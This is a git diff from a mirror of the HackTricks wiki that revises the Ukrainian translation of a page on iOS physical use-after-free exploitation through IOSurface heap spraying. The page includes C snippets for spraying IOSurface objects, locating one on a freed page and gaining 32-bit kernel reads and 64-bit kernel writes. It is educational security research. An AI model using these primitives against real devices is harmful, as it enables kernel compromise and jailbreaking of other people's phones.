mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/binary-exploitation/ios-exploiting/ios-physical-uaf
This commit is contained in:
parent
b1f0318f03
commit
93d7fde464
@ -1,99 +1,99 @@
|
||||
# iOS Physical Use-After-Free via IOSurface
|
||||
# iOS Physical Use After Free через IOSurface
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Фізичний use-after-free
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
Це підсумок посту з [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); додаткову інформацію про експлойт із використанням цієї техніки можна знайти в [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Керування пам'яттю в XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||||
Простір адрес віртуальної пам'яті для користувацьких процесів на iOS охоплює від **0x0 до 0x8000000000**. Проте ці адреси не відображаються напряму на фізичну пам'ять. Замість цього **ядро** використовує **таблиці сторінок (page tables)** для трансляції віртуальних адрес у реальні **фізичні адреси**.
|
||||
|
||||
#### Рівні таблиць сторінок в iOS
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Page tables are organized hierarchically in three levels:
|
||||
Таблиці сторінок організовані ієрархічно на три рівні:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
* Кожен запис тут представляє великий діапазон віртуальної пам'яті.
|
||||
* Він покриває **0x1000000000 bytes** (або **256 GB**) віртуальної пам'яті.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
* Запис тут представляє менший регіон віртуальної пам'яті, а саме **0x2000000 bytes** (32 MB).
|
||||
* Запис L1 може вказувати на таблицю L2, якщо не може відобразити весь регіон самостійно.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
* Це найдрібніший рівень, де кожен запис відображає одну сторінку пам'яті розміром **4 KB**.
|
||||
* Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.
|
||||
|
||||
#### Відображення віртуальної пам'яті в фізичну
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* Деякі записи в таблиці сторінок безпосередньо **відображають діапазон віртуальних адрес** на суміжний діапазон фізичних адрес (ніби ярлик).
|
||||
* **Pointer to Child Page Table**:
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||||
* Якщо потрібен більш тонкий контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2).
|
||||
|
||||
#### Приклад: відображення віртуальної адреси
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
Припустимо, ви намагаєтесь звернутися до віртуальної адреси **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
* Ядро перевіряє запис L1, що відповідає цій віртуальній адресі. Якщо він містить **вказівник на таблицю L2**, воно переходить до цієї таблиці L2.
|
||||
2. **L2 Table**:
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
* Ядро перевіряє таблицю L2 для детальнішого відображення. Якщо цей запис вказує на **таблицю L3**, воно переходить туди.
|
||||
3. **L3 Table**:
|
||||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||||
* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті.
|
||||
|
||||
#### Приклад відображення адрес
|
||||
#### Example of Address Mapping
|
||||
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
Якщо ви запишете фізичну адресу **0x800004000** у перший індекс таблиці L2, то:
|
||||
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **block mapping** at the L2 level.
|
||||
* Віртуальні адреси від **0x1000000000** до **0x1002000000** відображатимуться на фізичні адреси від **0x800004000** до **0x802004000**.
|
||||
* Це є **block mapping** на рівні L2.
|
||||
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
Або, якщо запис L2 вказує на таблицю L3:
|
||||
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
* Кожна сторінка по 4 KB у віртуальному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3.
|
||||
|
||||
### Фізичний use-after-free
|
||||
### Physical use-after-free
|
||||
|
||||
A **physical use-after-free** (UAF) occurs when:
|
||||
Фізичний use-after-free (UAF) виникає коли:
|
||||
|
||||
1. A process **allocates** some memory as **readable and writable**.
|
||||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **deallocates** (frees) the memory.
|
||||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||||
1. Процес **виділяє** певну пам'ять як **читабельну і записувану**.
|
||||
2. **Таблиці сторінок** оновлюються для відображення цієї пам'яті на конкретну фізичну адресу, до якої процес має доступ.
|
||||
3. Процес **звільняє** (deallocate) цю пам'ять.
|
||||
4. Однак через **баг** ядро **забуває видалити відображення** з таблиць сторінок, навіть якщо відповідна фізична пам'ять позначена як вільна.
|
||||
5. Ядро може потім **перевиділити цю "звільнену" фізичну пам'ять** для інших цілей, наприклад для **даних ядра**.
|
||||
6. Оскільки відображення не було видалене, процес все ще може **читати й записувати** у цю фізичну пам'ять.
|
||||
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
Це означає, що процес може отримати доступ до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, потенційно дозволяючи нападнику **маніпулювати пам'яттю ядра**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
Оскільки атакуючий не може контролювати, які саме сторінки ядра будуть виділені для звільненої пам'яті, він використовує техніку, звану **heap spray**:
|
||||
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
1. Атакуючий **створює велику кількість об'єктів IOSurface** в пам'яті ядра.
|
||||
2. Кожен об'єкт IOSurface містить **магічне значення** в одному зі своїх полів, що полегшує ідентифікацію.
|
||||
3. Вони **сканують звільнені сторінки**, щоб перевірити, чи потрапив на якусь із них об'єкт IOSurface.
|
||||
4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використати його для **читання та запису пам'яті ядра**.
|
||||
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||||
> Зверніть увагу, що пристрої iOS 16+ (A12+) мають апаратні запобіжники (наприклад, PPL або SPTM), які роблять техніки фізичного UAF значно менш життєздатними.
|
||||
> PPL застосовує суворі MMU-захисти до сторінок, пов'язаних з підписуванням коду, entitlements та чутливими даними ядра, тому навіть якщо сторінка буде перевикористана, записи з userland або скомпрометованого коду ядра до сторінок, захищених PPL, будуть заблоковані.
|
||||
> Secure Page Table Monitor (SPTM) розширює PPL, підвищуючи захист оновлень таблиць сторінок. Він забезпечує, що навіть привілейований код ядра не може непомітно перемапити звільнені сторінки або змінити відображення без проходження через захищені перевірки.
|
||||
> KTRR (Kernel Text Read-Only Region) фіксує секцію коду ядра як лише для читання після завантаження. Це запобігає будь-яким runtime-змінам коду ядра, закриваючи велику вразливість, на яку часто спираються експлойти фізичного UAF.
|
||||
> Більше того, `IOSurface`-алокації стали менш передбачуваними і складніші для відображення у зони, доступні користувачу, що робить трюк зі скануванням "магічного значення" менш надійним. А `IOSurface` тепер захищений entitlements і обмеженнями sandbox.
|
||||
|
||||
### Покроковий процес Heap Spray
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
1. **Spray IOSurface Objects**: Атакуючий створює багато об'єктів IOSurface зі спеціальним ідентифікатором ("magic value").
|
||||
2. **Scan Freed Pages**: Вони перевіряють, чи який-небудь із об'єктів був виділений на звільненій сторінці.
|
||||
3. **Read/Write Kernel Memory**: Маніпулюючи полями об'єкта IOSurface, вони отримують можливість виконувати **довільні читання і записи** в пам'ять ядра. Це дозволяє їм:
|
||||
* Використати одне поле, щоб **читати будь-яке 32-бітне значення** в пам'яті ядра.
|
||||
* Використати інше поле, щоб **записувати 64-бітні значення**, досягаючи стабільного **kernel read/write primitive**.
|
||||
|
||||
Згенеруйте об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку:
|
||||
Згенеруйте об'єкти IOSurface зі значенням-маркером IOSURFACE_MAGIC, щоб пізніше шукати:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -114,7 +114,7 @@ io_connect_t id = result.surface_id;
|
||||
}
|
||||
}
|
||||
```
|
||||
Шукати об'єкти **`IOSurface`** в одній звільненій фізичній сторінці:
|
||||
Пошук **`IOSurface`** об'єктів в одній вивільненій фізичній сторінці:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
@ -148,25 +148,25 @@ free(surfaceIDs);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Досягнення Kernel Read/Write за допомогою IOSurface
|
||||
### Досягнення читання/запису в ядро за допомогою IOSurface
|
||||
|
||||
Після отримання контролю над об'єктом IOSurface у kernel memory (mapped to a freed physical page, доступній з userspace), його можна використовувати для **довільних операцій читання та запису в kernel**.
|
||||
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з userspace), ми можемо використовувати його для **довільних операцій читання та запису в ядро**.
|
||||
|
||||
**Ключові поля в IOSurface**
|
||||
**Key Fields in IOSurface**
|
||||
|
||||
Об'єкт IOSurface має два ключові поля:
|
||||
|
||||
1. **Use Count Pointer**: дозволяє **32-bit read**.
|
||||
2. **Indexed Timestamp Pointer**: дозволяє **64-bit write**.
|
||||
1. **Use Count Pointer**: Дозволяє **32-бітне читання**.
|
||||
2. **Indexed Timestamp Pointer**: Дозволяє **64-бітовий запис**.
|
||||
|
||||
Перезаписуючи ці вказівники, ми перенаправляємо їх на довільні адреси в kernel memory, що дає можливість читання/запису.
|
||||
Перезаписавши ці вказівники, ми перенаправляємо їх на довільні адреси в пам'яті ядра, що дає можливість читання та запису.
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
Щоб виконати читання:
|
||||
|
||||
1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус 0x14-byte offset.
|
||||
2. Використайте метод `get_use_count`, щоб прочитати значення за цією адресою.
|
||||
1. Перезапишіть **use count pointer**, щоб він вказував на цільову адресу мінус 0x14 байт.
|
||||
2. Використайте метод `get_use_count` для читання значення за цією адресою.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -184,12 +184,12 @@ iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Write
|
||||
#### 64-Bit Kernel Запис
|
||||
|
||||
Щоб виконати запис:
|
||||
|
||||
1. Перезапишіть **indexed timestamp pointer**, щоб він вказував на цільну адресу.
|
||||
2. Використайте метод `set_indexed_timestamp` для запису 64-бітного значення.
|
||||
1. Перезаписати **indexed timestamp pointer** на цільову адресу.
|
||||
2. Використати метод `set_indexed_timestamp` для запису 64-бітного значення.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
@ -203,13 +203,13 @@ set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Підсумок потоку експлойту
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Вивільнені сторінки доступні для повторного використання.
|
||||
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Знайдіть IOSurface на вивільненій сторінці, якою ви керуєте.
|
||||
4. **Abuse Use-After-Free**: Змініть вказівники в об'єкті IOSurface, щоб отримати довільні **kernel read/write** через методи IOSurface.
|
||||
1. **Trigger Physical Use-After-Free**: Вільні сторінки стають доступними для повторного використання.
|
||||
2. **Spray IOSurface Objects**: Виділяються численні об'єкти IOSurface з унікальним "magic value" в kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Знайти IOSurface на звільненій сторінці, якою ви керуєте.
|
||||
4. **Abuse Use-After-Free**: Змінити вказівники в об'єкті IOSurface, щоб отримати довільне **kernel read/write** через методи IOSurface.
|
||||
|
||||
За допомогою цих примітивів експлойт забезпечує контрольовані **32-bit reads** та **64-bit writes** у kernel memory. Подальші кроки для jailbreak можуть вимагати більш стабільних примітивів read/write, що може потребувати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
|
||||
З цими примітивами експлойт забезпечує керовані **32-bit reads** і **64-bit writes** у kernel memory. Подальші кроки для jailbreak можуть включати більш стабільні read/write primitives, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user